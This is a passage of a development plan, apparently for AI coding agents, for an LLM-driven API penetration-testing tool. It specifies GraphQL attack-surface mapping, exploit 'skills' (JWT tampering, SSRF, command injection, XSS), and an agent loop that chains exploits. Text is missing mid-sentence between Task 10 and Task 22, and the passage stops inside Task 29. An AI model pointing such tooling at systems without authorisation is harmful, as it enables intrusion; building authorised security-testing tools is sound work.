.sisyphus/evidence/task-4-parse-valid.txt - - Scenario: Invalid YAML raises error - Tool: Bash (python -c) - Steps: Call parse_scenario("nonexistent.yaml") - Expected Result: FileNotFoundError raised - Evidence: .sisyphus/evidence/task-4-parse-error.txt - ``` - - **Commit**: `feat(scenario): add YAML scenario parser with user/variable/instruction support` - ---- - -- [ ] 5. Discovery module scaffolding - - **What to do**: - - Create `src/secnodeapi/discovery/__init__.py` with empty package exports - - Create `src/secnodeapi/discovery/graphql.py` with stub class `GraphQLDiscovery` (placeholder for Task 9) - - Create `src/secnodeapi/discovery/js_scraper.py` with stub class `JSScraper` (placeholder for Task 10) - - Create `src/secnodeapi/discovery/fuzzing.py` with stub class `EndpointFuzzer` (placeholder for Task 14) - - Each stub should have `__init__` and a single async `discover()` method that raises `NotImplementedError` - - **Must NOT do**: - - Do not implement any actual logic — stubs only - - Do not add dependencies beyond what's already in pyproject.toml - - **Recommended Agent Profile**: `quick` | **Skills**: [] - - **Parallelization**: Wave 1 | **Blocks**: Tasks 9, 10, 14 | **Blocked By**: None - - **References**: - - `src/secnodeapi/memory/__init__.py` — Package init pattern to follow - - `src/secnodeapi/attack_graph/__init__.py` — Another package init pattern - - **Acceptance Criteria**: - - [ ] `from secnodeapi.discovery import GraphQLDiscovery, JSScraper, EndpointFuzzer` succeeds - - [ ] Each stub class has `discover()` that raises `NotImplementedError` - - **QA Scenarios:** - ``` - Scenario: Discovery module imports cleanly - Tool: Bash - Steps: python -c "from secnodeapi.discovery import GraphQLDiscovery, JSScraper, EndpointFuzzer; print('OK')" - Expected Result: Prints 'OK' - Evidence: .sisyphus/evidence/task-5-discovery-import.txt - ``` - - **Commit**: YES (groups with Tasks 6, 7) - - Message: `chore(scaffold): add discovery, skills, and agents module scaffolding` - ---- - -- [ ] 6. Skills module scaffolding - - **What to do**: - - Create `src/secnodeapi/skills/__init__.py` with exports - - Create `src/secnodeapi/skills/base.py` with abstract `BaseSkill` class: - - `name: str` property - - `async def execute(self, target: str, context: dict) -> List[ParsedFinding]` abstract method - - `def to_skill_definition(self) -> SkillDefinition` abstract method — to register with existing SkillRegistry - - Create empty stub files for all 8 skills (one file per skill): - - `jwt_tamper.py`, `bola_test.py`, `rate_limit_bypass.py`, `workflow_exploit.py` - - `nosql_injection.py`, `ssrf_test.py`, `command_injection.py`, `xss_scan.py` - - Each stub should inherit from `BaseSkill` and raise `NotImplementedError` in `execute()` - - **Must NOT do**: - - Do not implement skill logic — stubs only - - Do not modify existing `services/skill_engine/registry.py` — new skills will register themselves via `BaseSkill.to_skill_definition()` - - **Recommended Agent Profile**: `quick` | **Skills**: [] - - **Parallelization**: Wave 1 | **Blocks**: Tasks 15-22 | **Blocked By**: None - - **References**: - - `src/secnodeapi/services/skill_engine/registry.py:SkillDefinition` — Dataclass that skills must produce for registry integration - - `src/secnodeapi/contracts/events.py:WorkerKind` — Enum used in SkillDefinition.worker_kind - - `src/secnodeapi/contracts/events.py:ParsedFinding` — Return type for skill execution - - **Acceptance Criteria**: - - [ ] `from secnodeapi.skills.base import BaseSkill` succeeds - - [ ] All 8 skill stub files exist and import cleanly - - [ ] `BaseSkill` has abstract `execute()` and `to_skill_definition()` methods - - **QA Scenarios:** - ``` - Scenario: Skills module imports cleanly - Tool: Bash - Steps: - 1. python -c "from secnodeapi.skills.base import BaseSkill; print(BaseSkill.__abstractmethods__)" - 2. python -c "from secnodeapi.skills.jwt_tamper import JWTTamperSkill; print('OK')" - Expected Result: Shows abstract methods set; prints 'OK' - Evidence: .sisyphus/evidence/task-6-skills-import.txt - ``` - - **Commit**: YES (groups with Tasks 5, 7) - ---- - -- [ ] 7. Agents module scaffolding - - **What to do**: - - Create `src/secnodeapi/agents/__init__.py` with exports - - Create `src/secnodeapi/agents/coordinator.py` with stub `AgentCoordinator` class: - - `async def orchestrate(self, session_id: str, plan: dict) -> List[ParsedFinding]` raises `NotImplementedError` - - Create `src/secnodeapi/agents/dispatcher.py` with stub `WorkerDispatcher` class: - - `async def dispatch(self, invocations: List[SkillInvocation]) -> List[Tuple[ToolRun, List[ParsedFinding]]]` raises `NotImplementedError` - - These are placeholders for Tasks 28-29 - - **Must NOT do**: - - Do not implement coordination logic — stubs only - - Do not import or depend on LLM client yet - - **Recommended Agent Profile**: `quick` | **Skills**: [] - - **Parallelization**: Wave 1 | **Blocks**: Tasks 28, 29 | **Blocked By**: None - - **References**: - - `src/secnodeapi/contracts/events.py:SkillInvocation` — Input type for worker dispatch - - `src/secnodeapi/services/controller/service.py` — Current orchestration pattern that agents will extend - - **Acceptance Criteria**: - - [ ] `from secnodeapi.agents import AgentCoordinator, WorkerDispatcher` succeeds - - [ ] Both classes have stub methods that raise `NotImplementedError` - - **QA Scenarios:** - ``` - Scenario: Agents module imports cleanly - Tool: Bash - Steps: python -c "from secnodeapi.agents import AgentCoordinator, WorkerDispatcher; print('OK')" - Expected Result: Prints 'OK' - Evidence: .sisyphus/evidence/task-7-agents-import.txt - ``` - - **Commit**: YES (groups with Tasks 5, 6) - ---- - - -- [ ] 8. CLI extensions — --mode greybox, --scenario, --var - - **What to do**: - - Add `--mode greybox` as new choice to the existing `--mode` argument (currently: agent, legacy, microservices) - - Add `--scenario` argument accepting a path to scenario.yaml file - - Add `--var` argument accepting key=value pairs (repeatable), for runtime variable overrides - - In `main()`, when mode is `greybox`: - - Parse scenario file using `parse_scenario()` from Task 4 - - Merge `--var` overrides into scenario variables - - Build `SecNodeConfig` via `load_config()` from Task 2 with CLI > scenario > env > defaults precedence - - Wire to existing `_run_agent_mode()` or new greybox flow - - Validate: `--scenario` required when `--mode greybox` - - Add `secnodeapi --help` test to verify new flags appear - - **Must NOT do**: - - Do not break existing modes (agent/legacy/microservices) - - Do not implement the greybox execution pipeline itself (Task 30 does that) - - Just wire the CLI parsing and config loading - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 2 | **Blocks**: Task 30 | **Blocked By**: Tasks 2, 4 - - **References**: - - `src/secnodeapi/cli.py:128-205` — Existing `parse_args()` with argparse, `--mode` choices at line 141 - - `src/secnodeapi/cli.py:326-369` — `main()` where mode dispatch happens - - `src/secnodeapi/config_loader.py` — `load_config()` from Task 2 (will exist by then) - - `src/secnodeapi/scenario_parser.py` — `parse_scenario()` from Task 4 (will exist by then) - - **Acceptance Criteria**: - - [ ] `secnodeapi --help` shows `--mode greybox`, `--scenario`, `--var` - - [ ] `secnodeapi --mode greybox` without `--scenario` errors with clear message - - [ ] `secnodeapi --mode greybox --scenario examples/greybox.yaml --target http://example.com --dry-run` parses without crash - - [ ] `pytest tests/test_cli_extensions.py` passes - - **QA Scenarios:** - ``` - Scenario: Help output shows new flags - Tool: Bash - Steps: secnodeapi --help 2>&1 - Expected Result: Output contains '--mode' with 'greybox' choice, '--scenario', '--var' - Evidence: .sisyphus/evidence/task-8-help-output.txt - - Scenario: Greybox without scenario errors - Tool: Bash - Steps: secnodeapi --mode greybox --target http://x 2>&1; echo $? - Expected Result: Exit code 2, error mentions --scenario required - Evidence: .sisyphus/evidence/task-8-missing-scenario.txt - ``` - - **Commit**: `feat(cli): add --mode greybox, --scenario, --var CLI flags` - ---- - -- [ ] 9. GraphQL introspection discovery — full pipeline - - **What to do**: - - Implement `src/secnodeapi/discovery/graphql.py` (replace stub from Task 5) - - **Introspection phase**: Send standard introspection query (`{ __schema { types { name fields { name type { name } } } } }`) to target endpoint via httpx - - **Schema parsing**: Extract types, queries, mutations, subscriptions from introspection response - - **Endpoint enumeration**: Build list of queryable operations with their argument types - - **Attack surface mapping**: For each mutation/query, identify: - - Input types that accept user-controlled strings (injection targets) - - Authorization-sensitive operations (create/update/delete mutations) - - Nested object traversal opportunities (deep query attacks) - - Batch query support (batching attacks) - - Return structured `GraphQLSchema` Pydantic model with operations list - - Handle errors: introspection disabled, network errors, malformed responses - - Class: `GraphQLDiscovery` with `async def discover(self, target_url: str) -> GraphQLSchema` - - **Must NOT do**: - - Do not implement attack execution (that's Task 31) - - Do not use any external GraphQL library — httpx + manual parsing is sufficient - - **Recommended Agent Profile**: `deep` | **Skills**: [] - - **Parallelization**: Wave 2 | **Blocks**: Tasks 24, 31 | **Blocked By**: Task 5 - - **References**: - - `src/secnodeapi/schema_fetcher.py` — Pattern for HTTP fetching + schema parsing (httpx usage, error handling) - - `src/secnodeapi/vulnerability_models.py` — Pydantic model conventions for new GraphQL models - - GraphQL introspection spec: https://graphql.org/learn/introspection/ - - `src/secnodeapi/test_executor.py` — httpx async request patterns - - **Acceptance Criteria**: - - [ ] `GraphQLDiscovery` class with `discover()` method - - [ ] `GraphQLSchema` Pydantic model with types, queries, mutations, subscriptions - - [ ] Handles introspection-disabled endpoints gracefully (returns empty schema, no crash) - - [ ] Identifies attack surface: injection targets, auth-sensitive ops, deep queries - - [ ] `pytest tests/test_graphql_discovery.py` passes - - **QA Scenarios:** - ``` - Scenario: Parse mock introspection response - Tool: Bash (pytest) - Steps: Run test that provides a mock introspection JSON, calls discover(), asserts operations extracted - Expected Result: GraphQLSchema has >0 queries, >0 mutations, attack_surface populated - Evidence: .sisyphus/evidence/task-9-graphql-parse.txt - - Scenario: Handle introspection disabled - Tool: Bash (pytest) - Steps: Run test with mock 400 response, calls discover() - Expected Result: Returns empty GraphQLSchema, no exception raised - Evidence: .sisyphus/evidence/task-9-graphql-disabled.txt - ``` - - **Commit**: `feat(discovery): add GraphQL introspection-to-attack-surface pipeline` - ---- - -- [ ] 10. JS static endpoint scraper - - **What to do**: - - Implement `src/secnodeapi/discovery/js_scraper.py` (replace stub from Task 5) - - Download JS files from target (find `` into parameters - - Check if response body contains the canary unescaped - - `to_skill_definition()` returns `SkillDefinition(name="xss_scan", worker_kind=WorkerKind.exploit, tool_name="dalfox", risk_class="high")` - - **Must NOT do**: - - Do not implement XSS detection from scratch — delegate to dalfox when available - - The fallback is basic reflection test only, not a full XSS scanner - - **Recommended Agent Profile**: `quick` | **Skills**: [] - - **Parallelization**: Wave 3 | **Blocks**: Tasks 23-26 | **Blocked By**: Tasks 6, 11 - - **References**: - - `src/secnodeapi/skills/base.py` — BaseSkill abstract class - - `src/secnodeapi/tools/runners/dalfox_runner.py` — DalfoxRunner from Task 11 - - `src/secnodeapi/workers/base.py:65-97` — `execute_invocation()` to dispatch dalfox - - `src/secnodeapi/contracts/events.py:SkillInvocation` — Invocation model - - **Acceptance Criteria**: - - [ ] Uses dalfox runner via `execute_invocation()` when available - - [ ] Falls back to reflection test when dalfox not installed - - [ ] Returns ParsedFinding(vulnerability_class="xss") - - [ ] `pytest tests/test_skill_xss.py` passes - - **QA Scenarios:** - ``` - Scenario: XSS scan via dalfox runner - Tool: Bash (pytest) - Steps: Mock execute_invocation returning dalfox findings, call execute() - Expected Result: ParsedFinding with vulnerability_class="xss" from dalfox output - Evidence: .sisyphus/evidence/task-22-xss-dalfox.txt - - Scenario: Fallback reflection test - Tool: Bash (pytest) - Steps: Mock dalfox not found (exit 127), mock endpoint reflecting canary - Expected Result: ParsedFinding from reflection detection, not dalfox - Evidence: .sisyphus/evidence/task-22-xss-fallback.txt - ``` - - **Commit**: YES (groups with Task 19) - ---- - -- [ ] 23. Worker specialization — recon worker - - **What to do**: - - Enhance `src/secnodeapi/workers/recon/worker.py` from a thin facade to a specialized worker: - - Add `plan_recon(target, context) -> List[SkillInvocation]` that selects recon-appropriate skills: - - `template_vuln_scan` (nuclei), `route_inventory` (kiterunner) - - Filter skills by `worker_kind == WorkerKind.recon` from the registry - - Add `execute_recon(target, context) -> Tuple[List[ToolRun], List[ParsedFinding]]` that: - - Calls `plan_recon()` to get invocations - - Executes them via `execute_invocation()` (from base.py) in sequence - - Aggregates findings across all tool runs - - Feeds results into memory service for subsequent phases - - Keep the existing `run_recon()` as backward-compatible entry point, wiring to `execute_recon()` - - **Must NOT do**: - - Do not modify `workers/base.py` — only extend the recon worker - - Do not remove the existing `run_recon()` function signature - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 4 | **Blocks**: Tasks 28-30, 34, 36 | **Blocked By**: Tasks 15-22 - - **References**: - - `src/secnodeapi/workers/recon/worker.py` — Current 7-line facade to extend - - `src/secnodeapi/workers/base.py:65-97` — `execute_invocation()` and `ExecutionPolicy` - - `src/secnodeapi/services/skill_engine/registry.py` — SkillRegistry for querying available recon skills - - `src/secnodeapi/services/skill_engine/ranking.py` — Skill ranking by context - - `src/secnodeapi/contracts/events.py:WorkerKind` — `WorkerKind.recon` filter - - **Acceptance Criteria**: - - [ ] `plan_recon()` returns invocations for recon-class skills only - - [ ] `execute_recon()` runs invocations and aggregates findings - - [ ] `run_recon()` still works (backward compatible) - - [ ] `pytest tests/test_worker_recon.py` passes - - **QA Scenarios:** - ``` - Scenario: Recon worker selects recon skills - Tool: Bash (pytest) - Steps: Call plan_recon(), verify all returned invocations have worker_kind=recon - Expected Result: Only recon skills returned (template_vuln_scan, route_inventory) - Evidence: .sisyphus/evidence/task-23-recon-plan.txt - ``` - - **Commit**: YES (groups with Tasks 24-26) - - Message: `feat(workers): add phase-specific intelligence to all workers` - ---- - -- [ ] 24. Worker specialization — discovery worker - - **What to do**: - - Enhance `src/secnodeapi/workers/discovery/worker.py` from a thin facade: - - Add `plan_discovery(target, context) -> List[SkillInvocation]` that selects discovery skills: - - `api_path_fuzz` (ffuf), plus new discovery modules: GraphQL (Task 9), JS scraper (Task 10), fuzzer (Task 14) - - Filter by `worker_kind == WorkerKind.discovery` - - Add `execute_discovery(target, context) -> Tuple[List[ToolRun], List[ParsedFinding]]` that: - - Runs GraphQL introspection if target looks like a GraphQL endpoint - - Runs JS scraping if JS URLs are provided in context - - Runs endpoint fuzzing - - Aggregates all discovered endpoints into findings - - Integrate with discovery modules: `GraphQLDiscovery`, `JSScraper`, `EndpointFuzzer` - - **Must NOT do**: - - Do not modify existing discovery module implementations - - Keep `run_discovery()` backward-compatible - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 4 | **Blocks**: Tasks 28-30 | **Blocked By**: Tasks 9, 10, 14 - - **References**: - - `src/secnodeapi/workers/discovery/worker.py` — Current 7-line facade to extend - - `src/secnodeapi/discovery/graphql.py` — GraphQLDiscovery (from Task 9) - - `src/secnodeapi/discovery/js_scraper.py` — JSScraper (from Task 10) - - `src/secnodeapi/discovery/fuzzing.py` — EndpointFuzzer (from Task 14) - - `src/secnodeapi/workers/base.py:65-97` — execute_invocation() - - **Acceptance Criteria**: - - [ ] Integrates GraphQL, JS, and fuzzing discovery modules - - [ ] `plan_discovery()` returns appropriate invocations - - [ ] `execute_discovery()` runs all discovery phases and aggregates - - [ ] `pytest tests/test_worker_discovery.py` passes - - **QA Scenarios:** - ``` - Scenario: Discovery worker runs all discovery modules - Tool: Bash (pytest) - Steps: Mock GraphQL/JS/fuzzer modules, call execute_discovery(), verify all three called - Expected Result: Aggregated findings from all 3 discovery methods - Evidence: .sisyphus/evidence/task-24-discovery-all.txt - ``` - - **Commit**: YES (groups with Task 23) - ---- - -- [ ] 25. Worker specialization — fuzzing worker - - **What to do**: - - Enhance `src/secnodeapi/workers/fuzzing/worker.py` from a thin facade: - - Add `plan_fuzzing(target, context) -> List[SkillInvocation]` that selects fuzzing skills: - - `active_spider_scan` (zap), `rate_limit_bypass` (Task 17) - - Filter by `worker_kind == WorkerKind.fuzzing` - - Add `execute_fuzzing(target, context) -> Tuple[List[ToolRun], List[ParsedFinding]]` that: - - Prioritizes skills based on context (e.g., rate_limit_bypass if auth endpoints found) - - Executes sequentially (fuzzing is resource-intensive) - - Applies safety constraints from each skill's definition - - **Must NOT do**: - - Do not run all fuzzing skills simultaneously — sequential execution with budget awareness - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 4 | **Blocks**: Tasks 28-30 | **Blocked By**: Tasks 15-22 - - **References**: - - `src/secnodeapi/workers/fuzzing/worker.py` — Current facade - - `src/secnodeapi/workers/base.py:17-60` — ExecutionPolicy budget tracking - - `src/secnodeapi/services/skill_engine/ranking.py` — Skill ranking for prioritization - - **Acceptance Criteria**: - - [ ] Plans fuzzing-class skills with budget awareness - - [ ] Sequential execution with policy enforcement - - [ ] `pytest tests/test_worker_fuzzing.py` passes - - **QA Scenarios:** - ``` - Scenario: Fuzzing worker respects budget - Tool: Bash (pytest) - Steps: Set budget to 50, call execute_fuzzing(), verify total requests <= 50 - Expected Result: Policy not violated, findings aggregated - Evidence: .sisyphus/evidence/task-25-fuzzing-budget.txt - ``` - - **Commit**: YES (groups with Task 23) - ---- - -- [ ] 26. Worker specialization — exploit worker - - **What to do**: - - Enhance `src/secnodeapi/workers/exploit/worker.py` from a thin facade: - - Add `plan_exploit(target, context, findings) -> List[SkillInvocation]` that: - - Selects exploit skills based on discovery phase findings - - If SQLi param found → `sqli_probe` - - If JWT detected → `jwt_tamper` - - If multiple identities → `bola_test` - - If workflow instructions → `workflow_exploit` - - If JSON endpoints → `nosql_injection` - - If URL params → `ssrf_test` - - If string params → `command_injection` - - If reflectable params → `xss_scan` - - Add `execute_exploit(target, context, findings) -> Tuple[List[ToolRun], List[ParsedFinding]]` that: - - Executes selected skills with risk-aware ordering (lower risk first) - - Chains findings: output of one skill can trigger another (e.g., discovered endpoint → exploit) - - Applies auth state checks from `SkillDefinition.required_auth_states` - - **Must NOT do**: - - Do not run exploit skills without checking preconditions - - Do not chain more than 3 levels deep - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - **Parallelization**: Wave 4 | **Blocks**: Tasks 28-30, 34, 36 | **Blocked By**: Tasks 15-22 - - **References**: - - `src/secnodeapi/workers/exploit/worker.py` — Current facade - - `src/secnodeapi/services/skill_engine/ranking.py` — Context-aware skill scoring - - `src/secnodeapi/services/skill_engine/registry.py` — Skill preconditions and auth requirements - - `src/secnodeapi/workers/base.py` — execute_invocation() + policy - - **Acceptance Criteria**: - - [ ] Selects exploit skills based on discovery findings - - [ ] Respects preconditions (no JWT tamper without JWT, no BOLA without identities) - - [ ] Risk-aware ordering (lower risk first) - - [ ] `pytest tests/test_worker_exploit.py` passes - - **QA Scenarios:** - ``` - Scenario: Exploit worker chains based on findings - Tool: Bash (pytest) - Steps: Provide findings with "discovered_injection_param" and JWT token in context - Expected Result: plan_exploit returns sqli_probe + jwt_tamper invocations - Evidence: .sisyphus/evidence/task-26-exploit-chain.txt - - Scenario: Preconditions prevent unqualified skills - Tool: Bash (pytest) - Steps: Provide empty context (no JWT, no identities), call plan_exploit() - Expected Result: jwt_tamper and bola_test NOT in returned invocations - Evidence: .sisyphus/evidence/task-26-exploit-preconditions.txt - ``` - - **Commit**: YES (groups with Task 23) - ---- - -- [ ] 27. Attack graph — Postgres persistence - - **What to do**: - - Add persistence layer to `src/secnodeapi/attack_graph/engine.py`: - - Add `async def save_graph(self, session_id: str, pool) -> None` that serializes the NetworkX graph to Postgres: - - Use `to_dict(session_id)` (from Task 12) → JSON → `INSERT INTO attack_graphs (session_id, graph_data JSONB)` - - Add `async def load_graph(self, session_id: str, pool) -> None` that deserializes from Postgres: - - `SELECT graph_data FROM attack_graphs WHERE session_id = $1` → JSON → `nx.node_link_graph()` - - Add `async def ensure_table(self, pool) -> None` → `CREATE TABLE IF NOT EXISTS attack_graphs ...` - - Table: `attack_graphs (session_id TEXT PK, graph_data JSONB, created_at TIMESTAMP DEFAULT NOW(), updated_at TIMESTAMP DEFAULT NOW())` - - Graph can be loaded, extended with new edges, then saved again - - **Must NOT do**: - - Do not add Neo4j dependency - - Do not change the in-memory graph behavior — persistence is opt-in - - **Recommended Agent Profile**: `deep` | **Skills**: [] - - **Parallelization**: Wave 4 | **Blocks**: Task 35 | **Blocked By**: Tasks 12, 13 - - **References**: - - `src/secnodeapi/attack_graph/engine.py` — After Task 12: has `to_dict()` for serialization - - `src/secnodeapi/infra/storage.py:1-50` — asyncpg patterns for table creation and CRUD - - NetworkX serialization: `nx.node_link_data()` / `nx.node_link_graph()` - - **Acceptance Criteria**: - - [ ] `save_graph()` serializes to Postgres JSONB - - [ ] `load_graph()` deserializes and restores full graph - - [ ] Round-trip: save → load → best_paths() returns same results - - [ ] `pytest tests/test_graph_persistence.py` passes - - **QA Scenarios:** - ``` - Scenario: Graph round-trip through Postgres - Tool: Bash (pytest) - Steps: Create graph, add edges, save_graph (mock pool), load_graph, compare best_paths() - Expected Result: Loaded graph produces identical paths and scores - Evidence: .sisyphus/evidence/task-27-graph-roundtrip.txt - ``` - - **Commit**: `feat(graph): add Postgres persistence for attack graphs` - - -- [ ] 28. Multi-agent coordinator — LLM agent orchestration - - **What to do**: - - Create `src/secnodeapi/agents/coordinator.py` (building on the scaffold from Task 7): - - Implement `AgentCoordinator` class that orchestrates LLM-driven pentest agents - - Constructor takes: `llm_client` (call_llm function), `planner: PlannerService`, `skill_engine: SkillEngineService`, `memory: MemoryService`, `attack_graph: AttackGraphEngine` - - Implement `async def run_agent_loop(self, session_id: str, target: str, config: dict) -> List[ParsedFinding]`: - - Phase 1 (Reconnaissance Planning): Call `call_llm()` with system prompt describing the target and available skills, ask LLM to produce a JSON plan of skill invocations prioritized by risk - - Phase 2 (Plan Validation): Validate LLM plan against `SkillRegistry.list_skills()` — reject unknown skill names, enforce `ExecutionPolicy` constraints - - Phase 3 (Execution Dispatch): Convert validated plan items to `SkillInvocation` objects, dispatch via `_execute_batch()` (reuse controller pattern from `service.py:116-150`) - - Phase 4 (Result Analysis): Feed `ParsedFinding` results back to LLM with prompt: "Given these findings, what should we investigate next?" → produce next round of invocations - - Phase 5 (Convergence): Stop when: LLM says "no further investigation needed", max iterations reached, or request budget exhausted - - Implement `async def _build_planning_prompt(self, session_id: str, target: str, context: dict) -> str`: - - Include: available skills (from registry), current session context (from memory), previous findings summary, attack graph state (successful/failed paths) - - Output format: structured JSON with `{"invocations": [{"skill_name": ..., "rationale": ...}], "stop": bool, "reasoning": str}` - - Implement `_parse_llm_plan(self, response: str) -> List[dict]`: - - Parse JSON from LLM response, validate schema, handle malformed responses gracefully (log + skip) - - Implement `_validate_plan(self, plan: List[dict], session_id: str) -> List[SkillInvocation]`: - - Cross-reference skill names against registry, create proper SkillInvocation objects, skip invalid entries with warning log - - Agent loop must respect: - - `max_iterations` from config (default: 5) - - `request_budget` from config (maps to ExecutionPolicy budgets) - - Session context updates after each round (via memory.set_session_context) - - Attack graph updates after each execution (add edges for success/failure) - - All LLM prompts must use `call_llm()` from `ai/llm_client.py` — no direct LiteLLM calls - - Add `AgentCoordinator` export to `src/secnodeapi/agents/__init__.py` - - **Must NOT do**: - - Do not bypass ExecutionPolicy checks — all invocations must pass policy.check() - - Do not hardcode LLM model names — use `call_llm()` which reads SECNODE_LLM env var - - Do not implement tool execution directly — delegate to workers via `execute_invocation()` - - Do not add new dependencies — use existing LiteLLM via `call_llm()` - - **Recommended Agent Profile**: `ultrabrain` | **Skills**: [] - - Reason: Complex multi-phase AI coordination logic with LLM prompt engineering and plan validation — requires sophisticated reasoning - - **Parallelization**: Wave 5 | **Blocks**: Tasks 37, 38 | **Blocked By**: Tasks 7, 23-26 (worker specialization must exist before coordinator can dispatch) - - **References**: - - `src/secnodeapi/agents/__init__.py` — After Task 7: scaffold with `AgentCoordinator` stub and exports - - `src/secnodeapi/services/controller/service.py:81-114` — `run_session()` pattern for iterative plan→execute→replan loop; reuse this structure - - `src/secnodeapi/services/controller/service.py:116-150` — `_execute_batch()` for dispatching invocations and collecting findings - - `src/secnodeapi/ai/llm_client.py:16-56` — `call_llm(system_prompt, user_prompt, temperature)` → returns string; handles retries/backoff internally - - `src/secnodeapi/services/planner/service.py:22-37` — `plan()` method pattern for creating invocations from context; coordinator replaces this with LLM-driven planning - - `src/secnodeapi/services/skill_engine/registry.py` — `SkillRegistry.list_skills()` returns `List[SkillDefinition]` with name, tool_name, worker_kind, risk_class, preconditions, etc. - - `src/secnodeapi/services/skill_engine/service.py:18-46` — `select_invocations()` pattern for building `SkillInvocation` objects from skills + context - - `src/secnodeapi/contracts/events.py:35-47` — `SkillInvocation` model: fields are `invocation_id, session_id, skill_name, worker_kind, tool_name, target, args, auth_state, risk_class, preconditions, safety_constraints` - - `src/secnodeapi/workers/base.py:65-97` — `execute_invocation()` takes SkillInvocation, returns Tuple[ToolRun, List[ParsedFinding]] - - `src/secnodeapi/memory/service.py:21-37` — Memory API: `session_context()`, `set_session_context()`, `add_findings()`, `record_skill_outcome()`, `skill_success_rates()` - - `src/secnodeapi/attack_graph/engine.py` — `add_edge()`, `best_paths()`, `successful_nodes()` for graph state - - **Acceptance Criteria**: - - [ ] `AgentCoordinator` class exists with `run_agent_loop()` method - - [ ] LLM is called to produce initial plan and analyze results - - [ ] Plan validation rejects unknown skill names and logs warnings - - [ ] Agent loop respects `max_iterations` and `request_budget` - - [ ] Session context, memory, and attack graph updated each round - - [ ] Convergence: loop stops when LLM returns `stop: true` or budget/iterations exhausted - - [ ] `pytest tests/test_agent_coordinator.py` passes (mock LLM responses) - - **QA Scenarios:** - ``` - Scenario: Agent loop completes with LLM-driven planning (mocked) - Tool: Bash (pytest) - Preconditions: Mock call_llm to return predetermined JSON plans; mock execute_invocation to return canned findings - Steps: - 1. Create AgentCoordinator with mocked dependencies - 2. Call run_agent_loop(session_id="test", target="http://test", config={"max_iterations": 2}) - 3. Assert call_llm was called at least twice (initial plan + result analysis) - 4. Assert findings were collected from mocked workers - 5. Assert memory.set_session_context was called to update state - Expected Result: Returns list of ParsedFinding; loop completes within 2 iterations - Evidence: .sisyphus/evidence/task-28-agent-loop.txt - - Scenario: Agent loop stops on budget exhaustion - Tool: Bash (pytest) - Preconditions: Mock ExecutionPolicy to raise PolicyError on 3rd invocation - Steps: - 1. Run agent loop with budget that exhausts after 2 invocations - 2. Assert loop terminates gracefully (no unhandled exception) - 3. Assert partial findings from successful invocations are returned - Expected Result: Loop stops cleanly, returns findings from completed invocations only - Evidence: .sisyphus/evidence/task-28-budget-exhaustion.txt - - Scenario: Malformed LLM response handled gracefully - Tool: Bash (pytest) - Preconditions: Mock call_llm to return invalid JSON on first call, valid JSON on retry - Steps: - 1. Run agent loop with LLM returning garbage string first - 2. Assert warning is logged about malformed response - 3. Assert loop continues (falls through to next iteration or stops gracefully) - Expected Result: No crash; warning logged; loop continues or terminates cleanly - Evidence: .sisyphus/evidence/task-28-malformed-llm.txt - ``` - - **Commit**: `feat(agents): implement LLM-driven agent coordinator with iterative plan-execute-analyze loop` - - -- [ ] 29. Multi-agent coordinator — parallel worker dispatch - - **What to do**: - - Create `src/secnodeapi/agents/dispatcher.py` (building on the scaffold from Task 7): - - Implement `WorkerDispatcher` class that manages parallel execution of skill invocations across worker types - - Constructor takes: `policy: ExecutionPolicy` (or creates default), `max_concurrency: int = 4` - - Implement `async def dispatch_batch(self, invocations: List[SkillInvocation]) -> List[Tuple[ToolRun, List[ParsedFinding]]]`: - - Group invocations by `worker_kind` (recon, discovery, fuzzing, exploit) - - Use `asyncio.Semaphore(self.max_concurrency)` to limit concurrent executions - - Execute invocations with `asyncio.gather(*tasks, return_exceptions=True)` - - Each task calls `execute_invocation(invocation, self.policy)` from `workers/base.py` - - Handle exceptions from individual workers: log error, create error ToolRun (exit_code=1, stderr=str(exc)), continue with remaining - - Implement `async def dispatch_single(self, invocation: SkillInvocation) -> Tuple[ToolRun, List[ParsedFinding]]`: - - Wrapper around `execute_invocation()` with semaphore acquire/release - - Implement `async def dispatch_by_phase(self, invocations: List[SkillInvocation]) -> Dict[WorkerKind, List[Tuple[ToolRun, List[ParsedFinding]]]]`: - - Groups invocations by worker_kind, dispatches each group sequentially (recon first, then discovery, then fuzzing, then exploit) - - Within each group, invocations run in parallel (using dispatch_batch) - - Returns results grouped by worker_kind - - Wire `WorkerDispatcher` into `AgentCoordinator` (from Task 28): - - Replace the controller's `_execute_batch()` pattern with `dispatcher.dispatch_batch()` - - Update `agents/__init__.py` to export `WorkerDispatcher` - - Update `ControllerService._execute_batch()` in `services/controller/service.py` to optionally use `WorkerDispatcher` when `use_parallel=True` is set in config - - **Must NOT do**: - - Do not remove the existing sequential execution path in controller — make parallel opt-in - - Do not use threading — all concurrency via asyncio - - Do not bypass ExecutionPolicy — pass it through to `execute_invocation()` - - **Recommended Agent Profile**: `deep` | **Skills**: [] - - Reason: Requires careful asyncio concurrency patterns (gather, semaphore) with error isolation — deep understanding needed but not ultra-complex - - **Parallelization**: Wave 5 | **Blocks**: Tasks 37, 38 | **Blocked By**: Tasks 7, 23-26 - - **References**: - - `src/secnodeapi/agents/__init__.py` — After Task 7: scaffold with `WorkerDispatcher` stub - - `src/secnodeapi/workers/base.py:65-97` — `execute_invocation(invocation, policy)` → `Tuple[ToolRun, List[ParsedFinding]]`; this is the function each parallel task calls - - `src/secnodeapi/workers/base.py:17-60` — `ExecutionPolicy` class with `check()` and `record()` methods; pass to dispatcher - - `src/secnodeapi/services/controller/service.py:116-150` — `_execute_batch()` current sequential pattern — dispatcher replaces this with parallel execution - - `src/secnodeapi/contracts/events.py:19-23` — `WorkerKind` enum: recon, discovery, fuzzing, exploit — used for grouping - - `src/secnodeapi/contracts/events.py:35-47` — `SkillInvocation` model with `worker_kind` field for grouping - - `src/secnodeapi/contracts/events.py:49-57` — `ToolRun` model returned from execution - - Python asyncio docs: `asyncio.gather(*tasks, return_exceptions=True)`, `asyncio.Semaphore` - - **Acceptance Criteria**: - - [ ] `WorkerDispatcher` class exists with `dispatch_batch()`, `dispatch_single()`, `dispatch_by_phase()` - - [ ] Parallel execution uses `asyncio.gather` with semaphore for concurrency control - - [ ] Individual worker failures don't crash the batch — error ToolRun created instead - - [ ] `dispatch_by_phase()` executes groups sequentially (recon→discovery→fuzzing→exploit), parallel within each group - - [ ] 